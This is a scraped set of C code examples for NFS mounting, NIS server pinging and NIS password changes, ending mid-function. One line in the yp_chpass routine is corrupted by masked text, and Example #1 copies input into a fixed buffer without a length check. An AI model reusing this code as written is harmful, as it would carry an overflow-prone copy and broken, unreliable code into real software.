Example #1
0
int nfsmount(const char *spec, const char *node, int *flags,
	     char **orig_opts, char **extra_opts)
{
	char hostdir[1024];
	CLIENT *mclient;
	char *hostname;
	char *dirname;
	char new_opts[1024];
	fhandle root_fhandle;
	struct timeval total_timeout;
	enum clnt_stat clnt_stat;
	static struct nfs_mount_data data;
	char *opts, *opt, *opteq;
	int val;
	struct hostent *hp;
	struct sockaddr_in server_addr;
	int msock, fsock;
	struct timeval pertry_timeout;
	struct fhstatus status;
	char *s;
	int port;
	int bg;
	int soft;
	int intr;
	int posix;
	int nocto;
	int noac;
	int retry;

	msock = fsock = -1;
	mclient = NULL;
	strcpy(hostdir, spec);
	if ((s = (strchr(hostdir, ':')))) {
		hostname = hostdir;
		dirname = s + 1;
		*s = '\0';
	}
	else {
		fprintf(stderr, "mount: "
			"directory to mount not in host:dir format\n");
		goto fail;
	}

	if (hostname[0] >= '0' && hostname[0] <= '9') {
		server_addr.sin_family = AF_INET;
		server_addr.sin_addr.s_addr = inet_addr(hostname);
	}
	else if ((hp = gethostbyname(hostname)) == NULL) {
		fprintf(stderr, "mount: can't get address for %s\n", hostname);
		goto fail;
	}
	else {
		server_addr.sin_family = AF_INET;
		memcpy(&server_addr.sin_addr, hp->h_addr, hp->h_length);
	}

	/* add IP address to mtab options for use when unmounting */

	sprintf(new_opts, "%s%saddr=%s",
		*orig_opts ? *orig_opts : "",
		*orig_opts ? "," : "",
		inet_ntoa(server_addr.sin_addr));
	*orig_opts = strdup(new_opts);

	/* set default options */

	data.rsize	= 0; /* let kernel decide */
	data.wsize	= 0; /* let kernel decide */
	data.timeo	= 7;
	data.retrans	= 3;
	data.acregmin	= 3;
	data.acregmax	= 60;
	data.acdirmin	= 30;
	data.acdirmax	= 60;

	port = 2049;
	bg = 0;
	soft = 0;
	intr = 0;
	posix = 0;
	nocto = 0;
	noac = 0;
	retry = 10000;

	/* parse options */

	if ((opts = *extra_opts)) {
		for (opt = strtok(opts, ","); opt; opt = strtok(NULL, ",")) {
			if ((opteq = strchr(opt, '='))) {
				val = atoi(opteq + 1);	
				*opteq = '\0';
				if (!strcmp(opt, "rsize"))
					data.rsize = val;
				else if (!strcmp(opt, "wsize"))
					data.wsize = val;
				else if (!strcmp(opt, "timeo"))
					data.timeo = val;
				else if (!strcmp(opt, "retrans"))
					data.retrans = val;
				else if (!strcmp(opt, "acregmin"))
					data.acregmin = val;
				else if (!strcmp(opt, "acregmax"))
					data.acregmax = val;
				else if (!strcmp(opt, "acdirmin"))
					data.acdirmin = val;
				else if (!strcmp(opt, "acdirmax"))
					data.acdirmax = val;
				else if (!strcmp(opt, "actimeo")) {
					data.acregmin = val;
					data.acregmax = val;
					data.acdirmin = val;
					data.acdirmax = val;
				}
				else if (!strcmp(opt, "port"))
					port = val;
				else if (!strcmp(opt, "retry"))
					retry = val;
				else {
					printf("unknown nfs mount parameter: "
						"%s=%d\n", opt, val);
					goto fail;
				}
			}
			else {
				val = 1;
				if (!strncmp(opt, "no", 2)) {
					val = 0;
					opt += 2;
				}
				if (!strcmp(opt, "bg")) 
					bg = val;
				else if (!strcmp(opt, "fg")) 
					bg = !val;
				else if (!strcmp(opt, "soft"))
					soft = val;
				else if (!strcmp(opt, "hard"))
					soft = !val;
				else if (!strcmp(opt, "intr"))
					intr = val;
				else if (!strcmp(opt, "posix"))
					posix = val;
				else if (!strcmp(opt, "cto"))
					nocto = !val;
				else if (!strcmp(opt, "ac"))
					noac = !val;
				else {
					printf("unknown nfs mount option: "
						"%s%s\n", val ? "" : "no", opt);
					goto fail;
				}
			}
		}
	}
	data.flags = (soft ? NFS_MOUNT_SOFT : 0)
		| (intr ? NFS_MOUNT_INTR : 0)
		| (posix ? NFS_MOUNT_POSIX : 0)
		| (nocto ? NFS_MOUNT_NOCTO : 0)
		| (noac ? NFS_MOUNT_NOAC : 0);

#if 0
	printf("rsize = %d, wsize = %d, timeo = %d, retrans = %d\n",
		data.rsize, data.wsize, data.timeo, data.retrans);
	printf("acreg (min, max) = (%d, %d), acdir (min, max) = (%d, %d)\n",
		data.acregmin, data.acregmax, data.acdirmin, data.acdirmax);
	printf("port = %d, bg = %d, retry = %d, flags = %.8x\n",
		port, bg, retry, data.flags);
	printf("soft = %d, intr = %d, posix = %d, nocto = %d, noac = %d\n",
		(data.flags & NFS_MOUNT_SOFT) != 0,
		(data.flags & NFS_MOUNT_INTR) != 0,
		(data.flags & NFS_MOUNT_POSIX) != 0,
		(data.flags & NFS_MOUNT_NOCTO) != 0,
		(data.flags & NFS_MOUNT_NOAC) != 0);
	goto fail;
#endif

	/* create mount deamon client */

	pertry_timeout.tv_sec = 3;
	pertry_timeout.tv_usec = 0;
	total_timeout.tv_sec = 20;
	total_timeout.tv_usec = 0;
	server_addr.sin_port = 0;
	msock = RPC_ANYSOCK;
	if ((mclient = clntudp_create(&server_addr, MOUNTPROG, MOUNTVERS,
		pertry_timeout, &msock)) == NULL) {
		clnt_pcreateerror("mount clntudp_create");
		goto fail;
	}
	mclient->cl_auth = authunix_create_default();

	/* try to mount hostname:dirname */

	clnt_stat = clnt_call(mclient, MOUNTPROC_MNT,
		xdr_dirpath, &dirname,
		xdr_fhstatus, &status,
		total_timeout);
	if (clnt_stat != RPC_SUCCESS) {
		clnt_perror(mclient, "rpc mount");
		goto fail;
	}
	if (status.fhs_status != 0) {
		fprintf(stderr,
			"mount: %s:%s failed, reason given by server: %s\n",
			hostname, dirname, nfs_strerror(status.fhs_status));
		goto fail;
	}
	memcpy((char *) &root_fhandle, (char *) status.fhstatus_u.fhs_fhandle,
		sizeof (root_fhandle));

	/* create nfs socket for kernel */

	fsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (fsock < 0) {
		perror("nfs socket");
		goto fail;
	}
	if (bindresvport(fsock, 0) < 0) {
		perror("nfs bindresvport");
		goto fail;
	}
	server_addr.sin_port = htons(port);
	if (connect(fsock, (struct sockaddr *) &server_addr,
	    sizeof (server_addr)) < 0) {
		perror("nfs connect");
		goto fail;
	}

	/* prepare data structure for kernel */

	data.version = NFS_MOUNT_VERSION;
	data.fd = fsock;
	memcpy((char *) &data.root, (char *) &root_fhandle,
		sizeof (root_fhandle));
	memcpy((char *) &data.addr, (char *) &server_addr, sizeof(data.addr));
	strncpy(data.hostname, hostname, sizeof(data.hostname));

	*extra_opts = (char *) &data;

	/* clean up */

	auth_destroy(mclient->cl_auth);
	clnt_destroy(mclient);
	close(msock);
	return 0;

	/* abort */

fail:
	if (msock != -1) {
		auth_destroy(mclient->cl_auth);
		clnt_destroy(mclient);
		close(msock);
	}
	if (fsock != -1)
		close(fsock);
	return 1;
}
Example #2
0
int
__yp_ping(struct in_addr *restricted_addrs, int cnt, char *dom, short *port)
{
	struct timeval		tv = { 5, 0 };
	struct ping_req		**reqs;
	unsigned long		i;
	int			async;
	struct sockaddr_in	sin, *any = NULL;
	struct netbuf		addr;
	int			winner = -1;
	u_int32_t		xid_seed, xid_lookup;
	int			sock, dontblock = 1;
	CLIENT			*clnt;
	char			*foo = dom;
	int			validsrvs = 0;

	/* Set up handles. */
	reqs = calloc(1, sizeof(struct ping_req *) * cnt);
	xid_seed = time(NULL) ^ getpid();

	for (i = 0; i < cnt; i++) {
		bzero((char *)&sin, sizeof(sin));
		sin.sin_family = AF_INET;
		bcopy((char *)&restricted_addrs[i],
			(char *)&sin.sin_addr, sizeof(struct in_addr));
		sin.sin_port = htons(__pmap_getport(&sin, YPPROG,
					YPVERS, IPPROTO_UDP));
		if (sin.sin_port == 0)
			continue;
		reqs[i] = calloc(1, sizeof(struct ping_req));
		bcopy((char *)&sin, (char *)&reqs[i]->sin, sizeof(sin));
		any = &reqs[i]->sin;
		reqs[i]->xid = xid_seed;
		xid_seed++;
		validsrvs++;
	}

	/* Make sure at least one server was assigned */
	if (!validsrvs) {
		free(reqs);
		return(-1);
	}

	/* Create RPC handle */
	sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	clnt = clntudp_create(any, YPPROG, YPVERS, tv, &sock);
	if (clnt == NULL) {
		close(sock);
		for (i = 0; i < cnt; i++)
			if (reqs[i] != NULL)
				free(reqs[i]);
		free(reqs);
		return(-1);
	}
	clnt->cl_auth = authunix_create_default();
	tv.tv_sec = 0;

	clnt_control(clnt, CLSET_TIMEOUT, (char *)&tv);
	async = TRUE;
	clnt_control(clnt, CLSET_ASYNC, (char *)&async);
	ioctl(sock, FIONBIO, &dontblock);

	/* Transmit */
	for (i = 0; i < cnt; i++) {
		if (reqs[i] != NULL) {
			clnt_control(clnt, CLSET_XID, (char *)&reqs[i]->xid);
			addr.len = sizeof(reqs[i]->sin);
			addr.buf = (char *) &reqs[i]->sin;
			clnt_control(clnt, CLSET_SVC_ADDR, &addr);
			ypproc_domain_nonack_2_send(&foo, clnt);
		}
	}

	/* Receive reply */
	ypproc_domain_nonack_2_recv(&foo, clnt);

	/* Got a winner -- look him up. */
	clnt_control(clnt, CLGET_XID, (char *)&xid_lookup);
	for (i = 0; i < cnt; i++) {
		if (reqs[i] != NULL && reqs[i]->xid == xid_lookup) {
			winner = i;
			*port = reqs[i]->sin.sin_port;
		}
	}

	/* Shut everything down */
	auth_destroy(clnt->cl_auth);
	clnt_destroy(clnt);
	close(sock);

	for (i = 0; i < cnt; i++)
		if (reqs[i] != NULL)
			free(reqs[i]);
	free(reqs);

	return(winner);
}
Example #3
0
int nfsmount(const char *spec, const char *node, int *flags,
	     char **extra_opts, char **mount_opts, int running_bg)
{
	static char *prev_bg_host;
	char hostdir[1024];
	CLIENT *mclient;
	char *hostname;
	char *dirname;
	char *old_opts;
	char *mounthost=NULL;
	char new_opts[1024];
	fhandle root_fhandle;
	struct timeval total_timeout;
	enum clnt_stat clnt_stat;
	static struct nfs_mount_data data;
	char *opt, *opteq;
	int val;
	struct hostent *hp;
	struct sockaddr_in server_addr;
	struct sockaddr_in mount_server_addr;
	int msock, fsock;
	struct timeval retry_timeout;
	struct fhstatus status;
	struct stat statbuf;
	char *s;
	int port;
	int mountport;
	int bg;
	int soft;
	int intr;
	int posix;
	int nocto;
	int noac;
	int nolock;
	int retry;
	int tcp;
	int mountprog;
	int mountvers;
	int nfsprog;
	int nfsvers;
	int retval;
	time_t t;
	time_t prevt;
	time_t timeout;

	find_kernel_nfs_mount_version();

	retval = EX_FAIL;
	msock = fsock = -1;
	mclient = NULL;
	if (strlen(spec) >= sizeof(hostdir)) {
		fprintf(stderr, "mount: "
			"excessively long host:dir argument\n");
		goto fail;
	}
	strcpy(hostdir, spec);
	if ((s = (strchr(hostdir, ':')))) {
		hostname = hostdir;
		dirname = s + 1;
		*s = '\0';
	} else {
		fprintf(stderr, "mount: "
			"directory to mount not in host:dir format\n");
		goto fail;
	}

	server_addr.sin_family = AF_INET;
#if 1		/* old libc's do not have inet_aton() -- change 1 to 0 */
	if (!inet_aton(hostname, &server_addr.sin_addr))
#endif
	{
#ifdef EMBED
		fprintf(stderr, "ERROR (%d): no gethostbyname()\n", __LINE__);
#else
		if ((hp = gethostbyname(hostname)) == NULL) {
			fprintf(stderr, "mount: can't get address for %s\n",
				hostname);
			goto fail;
		} else {
			if (hp->h_length > sizeof(struct in_addr)) {
				fprintf(stderr,
					"mount: got bad hp->h_length\n");
				hp->h_length = sizeof(struct in_addr);
			}
			memcpy(&server_addr.sin_addr,
			       hp->h_addr, hp->h_length);
		}
#endif
	}

	memcpy (&mount_server_addr, &server_addr, sizeof (mount_server_addr));

	/* add IP address to mtab options for use when unmounting */

	s = inet_ntoa(server_addr.sin_addr);
	old_opts = *extra_opts;
	if (!old_opts)
		old_opts = "";
	if (strlen(old_opts) + strlen(s) + 10 >= sizeof(new_opts)) {
		fprintf(stderr, "mount: "
			"excessively long option argument\n");
		goto fail;
	}
	sprintf(new_opts, "%s%saddr=%s",
		old_opts, *old_opts ? "," : "", s);
	*extra_opts = xstrdup(new_opts);

	/* Set default options.
	 * rsize/wsize (and bsize, for ver >= 3) are left 0 in order to
	 * let the kernel decide.
	 * timeo is filled in after we know whether it'll be TCP or UDP. */
	memset(&data, 0, sizeof(data));
	data.retrans	= 3;
	data.acregmin	= 3;
	data.acregmax	= 60;
	data.acdirmin	= 30;
	data.acdirmax	= 60;
#if NFS_MOUNT_VERSION >= 2
	data.namlen	= NAME_MAX;
#endif

	bg = 0;
	soft = 0;
	intr = 0;
	posix = 0;
	nocto = 0;
	nolock = 0;
	noac = 0;
	retry = 10000;		/* 10000 minutes ~ 1 week */
	tcp = 0;

	mountprog = MOUNTPROG;
	mountvers = MOUNTVERS;
	port = 0;
	mountport = 0;
	nfsprog = NFS_PROGRAM;
	nfsvers = NFS_VERSION;

	/* parse options */

	for (opt = strtok(old_opts, ","); opt; opt = strtok(NULL, ",")) {
		if ((opteq = strchr(opt, '='))) {
			val = atoi(opteq + 1);	
			*opteq = '\0';
			if (!strcmp(opt, "rsize"))
				data.rsize = val;
			else if (!strcmp(opt, "wsize"))
				data.wsize = val;
			else if (!strcmp(opt, "timeo"))
				data.timeo = val;
			else if (!strcmp(opt, "retrans"))
				data.retrans = val;
			else if (!strcmp(opt, "acregmin"))
				data.acregmin = val;
			else if (!strcmp(opt, "acregmax"))
				data.acregmax = val;
			else if (!strcmp(opt, "acdirmin"))
				data.acdirmin = val;
			else if (!strcmp(opt, "acdirmax"))
				data.acdirmax = val;
			else if (!strcmp(opt, "actimeo")) {
				data.acregmin = val;
				data.acregmax = val;
				data.acdirmin = val;
				data.acdirmax = val;
			}
			else if (!strcmp(opt, "retry"))
				retry = val;
			else if (!strcmp(opt, "port"))
				port = val;
			else if (!strcmp(opt, "mountport"))
			        mountport = val;
			else if (!strcmp(opt, "mounthost"))
			        mounthost=xstrndup(opteq+1,
						  strcspn(opteq+1," \t\n\r,"));
			else if (!strcmp(opt, "mountprog"))
				mountprog = val;
			else if (!strcmp(opt, "mountvers"))
				mountvers = val;
			else if (!strcmp(opt, "nfsprog"))
				nfsprog = val;
			else if (!strcmp(opt, "nfsvers"))
				nfsvers = val;
			else if (!strcmp(opt, "namlen")) {
#if NFS_MOUNT_VERSION >= 2
				if (nfs_mount_version >= 2)
					data.namlen = val;
				else
#endif
				printf("Warning: Option namlen is not supported.\n");
			}
			else if (!strcmp(opt, "addr"))
				/* ignore */;
			else {
				printf("unknown nfs mount parameter: "
				       "%s=%d\n", opt, val);
				goto fail;
			}
		}
		else {
			val = 1;
			if (!strncmp(opt, "no", 2)) {
				val = 0;
				opt += 2;
			}
			if (!strcmp(opt, "bg")) 
				bg = val;
			else if (!strcmp(opt, "fg")) 
				bg = !val;
			else if (!strcmp(opt, "soft"))
				soft = val;
			else if (!strcmp(opt, "hard"))
				soft = !val;
			else if (!strcmp(opt, "intr"))
				intr = val;
			else if (!strcmp(opt, "posix"))
				posix = val;
			else if (!strcmp(opt, "cto"))
				nocto = !val;
			else if (!strcmp(opt, "ac"))
				noac = !val;
			else if (!strcmp(opt, "tcp"))
				tcp = val;
			else if (!strcmp(opt, "udp"))
				tcp = !val;
			else if (!strcmp(opt, "lock")) {
				if (nfs_mount_version >= 3)
					nolock = !val;
				else
					printf("Warning: option nolock is not supported.\n");
			} else {
				if (!sloppy) {
					printf("unknown nfs mount option: "
					       "%s%s\n", val ? "" : "no", opt);
					goto fail;
				}
			}
		}
	}
	data.flags = (soft ? NFS_MOUNT_SOFT : 0)
		| (intr ? NFS_MOUNT_INTR : 0)
		| (posix ? NFS_MOUNT_POSIX : 0)
		| (nocto ? NFS_MOUNT_NOCTO : 0)
		| (noac ? NFS_MOUNT_NOAC : 0);
#if NFS_MOUNT_VERSION >= 2
	if (nfs_mount_version >= 2)
		data.flags |= (tcp ? NFS_MOUNT_TCP : 0);
#endif
#if NFS_MOUNT_VERSION >= 3
	if (nfs_mount_version >= 3)
		data.flags |= (nolock ? NFS_MOUNT_NONLM : 0);
#endif

	/* Adjust options if none specified */
	if (!data.timeo)
		data.timeo = tcp ? 70 : 7;

#ifdef NFS_MOUNT_DEBUG
	printf("rsize = %d, wsize = %d, timeo = %d, retrans = %d\n",
		data.rsize, data.wsize, data.timeo, data.retrans);
	printf("acreg (min, max) = (%d, %d), acdir (min, max) = (%d, %d)\n",
		data.acregmin, data.acregmax, data.acdirmin, data.acdirmax);
	printf("port = %d, bg = %d, retry = %d, flags = %.8x\n",
		port, bg, retry, data.flags);
	printf("mountprog = %d, mountvers = %d, nfsprog = %d, nfsvers = %d\n",
		mountprog, mountvers, nfsprog, nfsvers);
	printf("soft = %d, intr = %d, posix = %d, nocto = %d, noac = %d\n",
		(data.flags & NFS_MOUNT_SOFT) != 0,
		(data.flags & NFS_MOUNT_INTR) != 0,
		(data.flags & NFS_MOUNT_POSIX) != 0,
		(data.flags & NFS_MOUNT_NOCTO) != 0,
		(data.flags & NFS_MOUNT_NOAC) != 0);
#if NFS_MOUNT_VERSION >= 2
	printf("tcp = %d\n",
		(data.flags & NFS_MOUNT_TCP) != 0);
#endif
#endif

	data.version = nfs_mount_version;
	*mount_opts = (char *) &data;

	if (*flags & MS_REMOUNT)
		return 0;

	/*
	 * If the previous mount operation on the same host was
	 * backgrounded, and the "bg" for this mount is also set,
	 * give up immediately, to avoid the initial timeout.
	 */
	if (bg && !running_bg &&
	    prev_bg_host && strcmp(hostname, prev_bg_host) == 0) {
		if (retry > 0)
			retval = EX_BG;
		return retval;
	}

	/* create mount deamon client */
	/* See if the nfs host = mount host. */
	if (mounthost) {
	  if (mounthost[0] >= '0' && mounthost[0] <= '9') {
	    mount_server_addr.sin_family = AF_INET;
	    mount_server_addr.sin_addr.s_addr = inet_addr(hostname);
	  } else {
#ifdef EMBED
		  fprintf(stderr, "ERROR (%d): no gethostbyname()\n", __LINE__);
#else
		  if ((hp = gethostbyname(mounthost)) == NULL) {
			  fprintf(stderr, "mount: can't get address for %s\n",
				  hostname);
			  goto fail;
		  } else {
			  if (hp->h_length > sizeof(struct in_addr)) {
				  fprintf(stderr,
					  "mount: got bad hp->h_length?\n");
				  hp->h_length = sizeof(struct in_addr);
			  }
			  mount_server_addr.sin_family = AF_INET;
			  memcpy(&mount_server_addr.sin_addr,
				 hp->h_addr, hp->h_length);
		  }
#endif
	  }
	}

	/*
	 * The following loop implements the mount retries. On the first
	 * call, "running_bg" is 0. When the mount times out, and the
	 * "bg" option is set, the exit status EX_BG will be returned.
	 * For a backgrounded mount, there will be a second call by the
	 * child process with "running_bg" set to 1.
	 *
	 * The case where the mount point is not present and the "bg"
	 * option is set, is treated as a timeout. This is done to
	 * support nested mounts.
	 *
	 * The "retry" count specified by the user is the number of
	 * minutes to retry before giving up.
	 *
	 * Only the first error message will be displayed.
	 */
	retry_timeout.tv_sec = 3;
	retry_timeout.tv_usec = 0;
	total_timeout.tv_sec = 20;
	total_timeout.tv_usec = 0;
	timeout = time(NULL) + 60 * retry;
	prevt = 0;
	t = 30;
	val = 1;
	for (;;) {
		if (bg && stat(node, &statbuf) == -1) {
			if (running_bg) {
				sleep(val);	/* 1, 2, 4, 8, 16, 30, ... */
				val *= 2;
				if (val > 30)
					val = 30;
			}
		} else {
			/* be careful not to use too many CPU cycles */
			if (t - prevt < 30)
				sleep(30);

			/* contact the mount daemon via TCP */
			mount_server_addr.sin_port = htons(mountport);
			msock = RPC_ANYSOCK;
			mclient = clnttcp_create(&mount_server_addr,
						 mountprog, mountvers,
						 &msock, 0, 0);

			/* if this fails, contact the mount daemon via UDP */
			if (!mclient) {
				mount_server_addr.sin_port = htons(mountport);
				msock = RPC_ANYSOCK;
				mclient = clntudp_create(&mount_server_addr,
							 mountprog, mountvers,
							 retry_timeout, &msock);
			}
			if (mclient) {
				/* try to mount hostname:dirname */
				mclient->cl_auth = authunix_create_default();
				clnt_stat = clnt_call(mclient, MOUNTPROC_MNT,
					(xdrproc_t) xdr_dirpath, (caddr_t) &dirname,
					(xdrproc_t) xdr_fhstatus, (caddr_t) &status,
					total_timeout);
				if (clnt_stat == RPC_SUCCESS)
					break;		/* we're done */
				if (errno != ECONNREFUSED) {
					clnt_perror(mclient, "mount");
					goto fail;	/* don't retry */
				}
				if (!running_bg && prevt == 0)
					clnt_perror(mclient, "mount");
				auth_destroy(mclient->cl_auth);
				clnt_destroy(mclient);
				mclient = 0;
				close(msock);
			} else {
				if (!running_bg && prevt == 0)
					clnt_pcreateerror("mount");
			}
			prevt = t;
		}
		if (!bg)
		        goto fail;
		if (!running_bg) {
			prev_bg_host = xstrdup(hostname);
			if (retry > 0)
				retval = EX_BG;
			goto fail;
		}
		t = time(NULL);
		if (t >= timeout)
			goto fail;
	}

	if (status.fhs_status != 0) {
		fprintf(stderr,
			"mount: %s:%s failed, reason given by server: %s\n",
			hostname, dirname, nfs_strerror(status.fhs_status));
		goto fail;
	}
	memcpy((char *) &root_fhandle, (char *) status.fhstatus_u.fhs_fhandle,
		sizeof (root_fhandle));

	/* create nfs socket for kernel */

	if (tcp) {
		if (nfs_mount_version < 3) {
	     		printf("NFS over TCP is not supported.\n");
			goto fail;
		}
		fsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	} else
		fsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (fsock < 0) {
		perror("nfs socket");
		goto fail;
	}
	if (bindresvport(fsock, 0) < 0) {
		perror("nfs bindresvport");
		goto fail;
	}
	if (port == 0) {
		server_addr.sin_port = PMAPPORT;
		port = pmap_getport(&server_addr, nfsprog, nfsvers,
			tcp ? IPPROTO_TCP : IPPROTO_UDP);
		if (port == 0)
			port = NFS_PORT;
#ifdef NFS_MOUNT_DEBUG
		else
			printf("used portmapper to find NFS port\n");
#endif
	}
#ifdef NFS_MOUNT_DEBUG
	printf("using port %d for nfs deamon\n", port);
#endif
	server_addr.sin_port = htons(port);
	 /*
	  * connect() the socket for kernels 1.3.10 and below only,
	  * to avoid problems with multihomed hosts.
	  * --Swen
	  */
	if (linux_version_code() <= 66314
	    && connect(fsock, (struct sockaddr *) &server_addr,
		       sizeof (server_addr)) < 0) {
		perror("nfs connect");
		goto fail;
	}

	/* prepare data structure for kernel */

	data.fd = fsock;
	memcpy((char *) &data.root, (char *) &root_fhandle,
		sizeof (root_fhandle));
	memcpy((char *) &data.addr, (char *) &server_addr, sizeof(data.addr));
	strncpy(data.hostname, hostname, sizeof(data.hostname));

	/* clean up */

	auth_destroy(mclient->cl_auth);
	clnt_destroy(mclient);
	close(msock);
	return 0;

	/* abort */

fail:
	if (msock != -1) {
		if (mclient) {
			auth_destroy(mclient->cl_auth);
			clnt_destroy(mclient);
		}
		close(msock);
	}
	if (fsock != -1)
		close(fsock);
	return retval;
}	
void
yp_chpass(char *username)
{
	char *master;
	int r, rpcport, status;
	struct yppasswd yppasswd;
	struct passwd *pw;
	struct timeval tv;
	CLIENT *client;
	extern char *domain;

	(void)signal(SIGINT, kbintr);
	(void)signal(SIGQUIT, kbintr);

	if ((r = yp_get_default_domain(&domain)) != 0) {
		warnx("can't get local YP domain. Reason: %s", yperr_string(r));
		exit(1);
	}

	/*
	 * Find the host for the passwd map; it should be running
	 * the daemon.
	 */
	if ((r = yp_master(domain, "passwd.byname", &master)) != 0) {
		warnx("can't find the master YP server. Reason: %s",
		    yperr_string(r));
		exit(1);
	}

	/* Ask the portmapper for the port of the daemon. */
	if ((rpcport = getrpcport(master, YPPASSWDPROG,
	    YPPASSWDPROC_UPDATE, IPPROTO_UDP)) == 0) {
		warnx("master YP server not running yppasswd daemon.");
		warnx("Can't change password.");
		exit(1);
	}

	if (rpcport >= IPPORT_RESERVED) {
		warnx("yppasswd daemon is on an invalid port.");
		exit(1);
	}

	/* If user doesn't exist, just prompt for old password and exit. */
	pw = ypgetpwnam(username);
	if (pw) {
		if (pw->pw_uid == 0) {
			syslog(LOG_ERR, "attempted root password change");
			pw = NULL;
		} else if (*pw->pw_passwd == '\0') {
			syslog(LOG_ERR, "%s attempting to add password",
			    username);
			pw = NULL;
		}
	}
	if (pw == NULL) {
		char *p, salt[_PASSWORD_LEN + 1];
		login_cap_t *lc;

		/* no such user, get appropriate salt to thwart timing attack */
		if ((p = getpass("Old password:"******"xx", sizeof(salt));
			crypt(p, salt);
			memset(p, 0, strlen(p));
		}
		warnx("YP passwd database unchanged.");
		exit(1);
	}

	/* prompt for new password */
	yppasswd.newpw.pw_passwd = ypgetnewpasswd(pw, &yppasswd.oldpass);

	/* tell rpc.yppasswdd */
	yppasswd.newpw.pw_name	= pw->pw_name;
	yppasswd.newpw.pw_uid	= pw->pw_uid;
	yppasswd.newpw.pw_gid	= pw->pw_gid;
	yppasswd.newpw.pw_gecos = pw->pw_gecos;
	yppasswd.newpw.pw_dir	= pw->pw_dir;
	yppasswd.newpw.pw_shell	= pw->pw_shell;

	client = clnt_create(master, YPPASSWDPROG, YPPASSWDVERS, "udp");
	if (client == NULL) {
		warnx("cannot contact yppasswdd on %s: Reason: %s",
		    master, yperr_string(YPERR_YPBIND));
		free(yppasswd.newpw.pw_passwd);
		exit(1);
	}
	client->cl_auth = authunix_create_default();
	tv.tv_sec = 2;
	tv.tv_usec = 0;
	r = clnt_call(client, YPPASSWDPROC_UPDATE,
	    xdr_yppasswd, &yppasswd, xdr_int, &status, tv);
	if (r)
		warnx("rpc to yppasswdd failed.");
	else if (status) {
		printf("Couldn't change YP password.\n");
		free(yppasswd.newpw.pw_passwd);
		exit(1);
	}
	printf("The YP password has been changed on %s, the master YP passwd server.\n",
	    master);
	free(yppasswd.newpw.pw_passwd);
	(void)writev(BACK_CHANNEL, iov, 2);
	exit(0);
}
Example #5
0
void
pwyp_process(const char *username, int argc, char **argv)
{
	char *master;
	int ch, r, rpcport, status;
	enum clnt_stat yr;
	struct yppasswd ypp;
	struct passwd pwb, pwb2, *pw;
	char pwbuf[1024];
	struct timeval tv;
	CLIENT *client;

	while ((ch = getopt(argc, argv, "y")) != -1) {
		switch (ch) {
		case 'y':
			/*
			 * Abosrb the -y that may have gotten us here.
			 */
			break;

		default:
			usage();
			/* NOTREACHED */
		}
	}

	argc -= optind;
	argv += optind;

	switch (argc) {
	case 0:
		/* username already provided */
		break;
	case 1:
		username = argv[0];
		break;
	default:
		usage();
		/*NOTREACHED*/
	}

	if (_yp_check(NULL) == 0) {
		/* can't use YP. */
		errx(EXIT_FAILURE, "NIS not in use.");
	}

	uid = getuid();

	/*
	 * Get local domain
	 */
	if ((r = yp_get_default_domain(&domain)) != 0)
		errx(EXIT_FAILURE, "Can't get local NIS domain (%s)",
		    yperr_string(r));

	/*
	 * Find the host for the passwd map; it should be running
	 * the daemon.
	 */
	if ((r = yp_master(domain, "passwd.byname", &master)) != 0)
		errx(EXIT_FAILURE, "Can't find the master NIS server (%s)",
		    yperr_string(r));

	/*
	 * Ask the portmapper for the port of the daemon.
	 */
	if ((rpcport = getrpcport(master, YPPASSWDPROG,
	    YPPASSWDPROC_UPDATE, IPPROTO_UDP)) == 0)
		errx(EXIT_FAILURE, "Master NIS server not running yppasswd "
		    "daemon");

	/*
	 * Be sure the port is privileged
	 */
	if (rpcport >= IPPORT_RESERVED)
		errx(EXIT_FAILURE, "Yppasswd daemon is on an invalid port");

	/* Bail out if this is a local (non-yp) user, */
	/* then get user's login identity */
	if (!ypgetpwnam(username, &pwb) ||
	    getpwnam_r(username, &pwb2, pwbuf, sizeof(pwbuf), &pw) ||
	    pw == NULL)
		errx(EXIT_FAILURE, "NIS unknown user %s", username);

	if (uid && uid != pwb.pw_uid) {
		errno = EACCES;
		err(EXIT_FAILURE, "You may only change your own password");
	}

	makeypp(&ypp, &pwb);

	client = clnt_create(master, YPPASSWDPROG, YPPASSWDVERS, "udp");
	if (client == NULL)
		errx(EXIT_FAILURE, "Cannot contact yppasswdd on %s (%s)",
		    master, yperr_string(YPERR_YPBIND));

	client->cl_auth = authunix_create_default();
	tv.tv_sec = 2;
	tv.tv_usec = 0;
	yr = clnt_call(client, YPPASSWDPROC_UPDATE,
	    xdr_yppasswd, &ypp, xdr_int, &status, tv);
	if (yr != RPC_SUCCESS)
		errx(EXIT_FAILURE, "RPC to yppasswdd failed (%s)",
		    clnt_sperrno(yr));
	else if (status)
		printf("Couldn't change NIS password.\n");
	else
		printf("The NIS password has been changed on %s, %s\n",
		    master, "the master NIS passwd server.");
}
Example #6
0
int nfsmount(const char *spec, const char *node, int *flags,
	     char **extra_opts, char **mount_opts, int *nfs_mount_vers,
	     int running_bg)
{
	static char *prev_bg_host;
	char hostdir[1024];
	CLIENT *mclient;
	char *hostname, *dirname, *old_opts, *mounthost = NULL;
	char new_opts[1024];
	struct timeval total_timeout;
	enum clnt_stat clnt_stat;
	static struct nfs_mount_data data;
	char *opt, *opteq;
	int nfs_mount_version;
	int val;
	struct hostent *hp;
	struct sockaddr_in server_addr;
	struct sockaddr_in mount_server_addr;
	struct pmap *pm_mnt;
	int msock, fsock;
	struct timeval retry_timeout;
	union {
		struct fhstatus nfsv2;
		struct mountres3 nfsv3;
	} status;
	struct stat statbuf;
	char *s;
	int port, mountport, proto, bg, soft, intr;
	int posix, nocto, noac, nolock, broken_suid;
	int retry, tcp;
	int mountprog, mountvers, nfsprog, nfsvers;
	int retval;
	time_t t;
	time_t prevt;
	time_t timeout;

	/* The version to try is either specified or 0
	   In case it is 0 we tell the caller what we tried */
	if (!*nfs_mount_vers)
		*nfs_mount_vers = find_kernel_nfs_mount_version();
	nfs_mount_version = *nfs_mount_vers;

	retval = EX_FAIL;
	msock = fsock = -1;
	mclient = NULL;
	if (strlen(spec) >= sizeof(hostdir)) {
		fprintf(stderr, _("mount: "
				  "excessively long host:dir argument\n"));
		goto fail;
	}
	strcpy(hostdir, spec);
	if ((s = strchr(hostdir, ':'))) {
		hostname = hostdir;
		dirname = s + 1;
		*s = '\0';
		/* Ignore all but first hostname in replicated mounts
